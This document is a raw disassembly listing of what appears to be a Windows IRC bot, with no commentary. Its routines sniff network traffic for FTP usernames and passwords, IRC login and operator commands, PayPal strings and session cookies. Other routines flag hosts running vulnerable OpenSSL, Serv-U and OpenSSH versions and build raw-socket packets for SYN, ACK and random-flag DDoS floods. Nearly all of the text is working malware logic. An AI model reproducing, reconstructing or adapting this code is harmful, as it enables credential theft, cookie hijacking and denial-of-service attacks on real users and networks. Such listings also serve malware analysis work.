arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412EC4


loc_412EC0:				; CODE XREF: sub_412EAA+29j
					; sub_412EAA+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412EC4:				; CODE XREF: sub_412EAA+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EC0
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EC0
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EC0
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F0C


loc_412F08:				; CODE XREF: sub_412EAA+71j
					; sub_412EAA+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F0C:				; CODE XREF: sub_412EAA+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a366	; "366 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx


loc_412F4E:				; DATA XREF: ___:off_43A508o
		jnz	short loc_412F08
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F08
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F08
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_412FC1	proc near		; CODE XREF: sub_4131AA+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412FDB


loc_412FD7:				; CODE XREF: sub_412FC1+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412FDB:				; CODE XREF: sub_412FC1+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FD7
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413001


loc_412FFD:				; CODE XREF: sub_412FC1+4Fj
					; sub_412FC1+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413001:				; CODE XREF: sub_412FC1+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FFD
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FFD
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412FC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413037	proc near		; CODE XREF: sub_4131AA+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413051


loc_41304D:				; CODE XREF: sub_413037+29j
					; sub_413037+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413051:				; CODE XREF: sub_413037+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41304D
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41304D
		push	offset a220	; "220 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413088


loc_413084:				; CODE XREF: sub_413037+60j
					; sub_413037+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_413037+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413084
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413084
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413037	endp


; =============== S U B	R O U T	I N E =======================================



sub_4130BE	proc near		; CODE XREF: sub_4131AA+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130D8


loc_4130D4:				; CODE XREF: sub_4130BE+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130D8:				; CODE XREF: sub_4130BE+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130D4
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130FE


loc_4130FA:				; CODE XREF: sub_4130BE+4Fj
					; sub_4130BE+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130FE:				; CODE XREF: sub_4130BE+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FA
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FA
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FA
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4130BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413145	proc near		; CODE XREF: sub_4131AA:loc_41356Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41315F


loc_41315B:				; CODE XREF: sub_413145+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41315F:				; CODE XREF: sub_413145+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41315B
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413185


loc_413181:				; CODE XREF: sub_413145+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413185:				; CODE XREF: sub_413145+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413181
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131AA	proc near		; DATA XREF: sub_401AC7+429Eo

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C2A0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4C9318
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4C9388
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CAB0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4C9384
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413250
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413250:				; CODE XREF: sub_4131AA+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4C9330
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4132C6
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437098
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132A2
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409862
		add	esp, 14h


loc_4132A2:				; CODE XREF: sub_4131AA+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	edi
		call	dword_4C939C
		push	[ebp+var_34]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4132C6:				; CODE XREF: sub_4131AA+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4C92B0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41334C
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437068
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_413328
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409862
		add	esp, 14h


loc_413328:				; CODE XREF: sub_4131AA+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	edi
		call	dword_4C939C
		push	[ebp+var_34]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41334C:				; CODE XREF: sub_4131AA+13Cj
		mov	esi, 200h


loc_413351:				; CODE XREF: sub_4131AA+1D6j
					; sub_4131AA+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4C931C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413351
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413351
		cmp	[ebp+arg_0], 19h
		jz	short loc_413351
		cmp	edi, 6Eh
		jz	short loc_413351
		cmp	edi, 19h
		jz	short loc_413351
		push	[ebp+var_113AC]
		call	sub_412E9B
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		push	[ebp+var_113A8]
		call	sub_412E9B
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B960
		add	esp, 10h
		test	eax, eax
		jle	short loc_41344F


loc_41341B:				; CODE XREF: sub_4131AA+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413432
		mov	byte ptr [eax],	20h


loc_413432:				; CODE XREF: sub_4131AA+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41343A
		mov	byte ptr [eax],	20h


loc_41343A:				; CODE XREF: sub_4131AA+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B960
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41341B


loc_41344F:				; CODE XREF: sub_4131AA+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413502
		cmp	edi, 50h
		jz	loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EAA
		test	al, al
		pop	ecx
		jz	short loc_413496
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437034
		jmp	loc_413531
; ---------------------------------------------------------------------------


loc_413496:				; CODE XREF: sub_4131AA+2C7j
		cmp	edi, 50h
		jz	short loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412FC1
		test	al, al
		pop	ecx
		jz	short loc_4134CC
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437000
		jmp	short loc_413531
; ---------------------------------------------------------------------------


loc_4134CC:				; CODE XREF: sub_4131AA+300j
		cmp	edi, 50h
		jz	short loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413037
		test	al, al
		pop	ecx
		jz	short loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436FCC
		jmp	short loc_413531
; ---------------------------------------------------------------------------


loc_413502:				; CODE XREF: sub_4131AA+2A9j
					; sub_4131AA+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4130BE
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_41356F
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436F94


loc_413531:				; CODE XREF: sub_4131AA+2E7j
					; sub_4131AA+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413351
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409862
		add	esp, 14h
		jmp	loc_413351
; ---------------------------------------------------------------------------


loc_41356F:				; CODE XREF: sub_4131AA+36Ej
		call	sub_413145
		test	al, al
		pop	ecx
		jz	loc_413351
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436F5C
		jmp	short loc_413531
sub_4131AA	endp

; ---------------------------------------------------------------------------
byte_41359D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+64A2o
		dd 494EC81h, 458B0000h,	0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch
		dd 80C7A5F3h, 290h, 1, 0D15FE890h, 0E8500228h, 8A88h, 0FE74858Dh
		dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h
		dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 4370C468h
		dd 3E85000h, 3300008Ah,	20C483F6h, 75F87539h, 858D5620h
		dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h
		dd 6238E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh,	26B5E8h
		dd 70B5FF00h, 0E8FFFFFDh, 0FFFF8085h, 0E8565959h, 22DC9B4h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41364F	proc near		; CODE XREF: ___:004139C6p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C9274
		test	eax, eax
		jz	short loc_41368F
		xor	eax, eax
		jmp	loc_413982
; ---------------------------------------------------------------------------


loc_41368F:				; CODE XREF: sub_41364F+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C93A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_41397A
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4C92E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_413970
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4C9304
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4C9304
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4C9304
		mov	[ebp+var_12], ax
		call	sub_41C062
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4C9304
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4C9300
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41375F
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137B3
; ---------------------------------------------------------------------------


loc_41375F:				; CODE XREF: sub_41364F+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41377B
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137B3
; ---------------------------------------------------------------------------


loc_41377B:				; CODE XREF: sub_41364F+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137B3
		call	sub_41C062
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C062
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137B3:				; CODE XREF: sub_41364F+10Ej
					; sub_41364F+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4C9304
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0486h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27A018Bh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DA20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413801:				; CODE XREF: sub_41364F+2E2j
					; sub_41364F+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C062
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C9304
		mov	[ebp+var_14], ax
		call	sub_41C062
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C062
		or	edi, eax
		push	edi
		call	dword_4C9304
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C9300
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C9304
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CAB0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4C9368
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413944
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27A018Bh
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_41396D
		jl	loc_413801
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_41396D
		jmp	loc_413801
; ---------------------------------------------------------------------------


loc_413944:				; CODE XREF: sub_41364F+2CBj
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4370EC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415CEE
		add	esp, 10h
		jmp	short loc_413970
; ---------------------------------------------------------------------------


loc_41396D:				; CODE XREF: sub_41364F+2E0j
					; sub_41364F+2EEj
		mov	ebx, [ebp+arg_8]


loc_413970:				; CODE XREF: sub_41364F+78j
					; sub_41364F+31Cj
		push	[ebp+var_20]
		call	dword_4C939C
		pop	esi


loc_41397A:				; CODE XREF: sub_41364F+5Bj
		call	dword_4C925C
		mov	eax, ebx


loc_413982:				; CODE XREF: sub_41364F+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41364F	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8E4
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BEF9
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41BEF9
		mov	edi, eax
		call	sub_41C062
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41364F
		add	esp, 20h
		test	eax, eax
		jnz	short loc_4139D5
		push	1
		pop	eax


loc_4139D5:				; CODE XREF: ___:004139D0j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4139E4	dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h
					; DATA XREF: sub_401AC7+667Bo
		dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h
		dd 19C9889h, 15FF0000h,	4C9384h, 89FFF883h, 5F75FC45h
		dd 929815FFh, 8D50004Ch, 0FFFC4485h, 71EC68FFh,	0E8500043h
		dd 85CEh, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h
		dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3E8FFFFh
		dd 83FFFF5Eh, 858D14C4h, 0FFFFFC44h, 2280E850h,	75FF0000h
		dd 7C53E8C8h, 5959FFFFh, 81E89057h, 8D022DC5h, 46AF44Dh
		dd 6AFF3351h, 89505702h, 15FFF45Dh, 4C92E4h, 75FFF883h
		dd 9815FF5Dh, 50004C92h, 0FC44858Dh, 0BC68FFFFh, 50004371h
		dd 8555E8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
		dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5D8CE8FFh
		dd 0C483FFFFh, 44858D14h, 50FFFFFCh, 2209E8h, 0C875FF00h
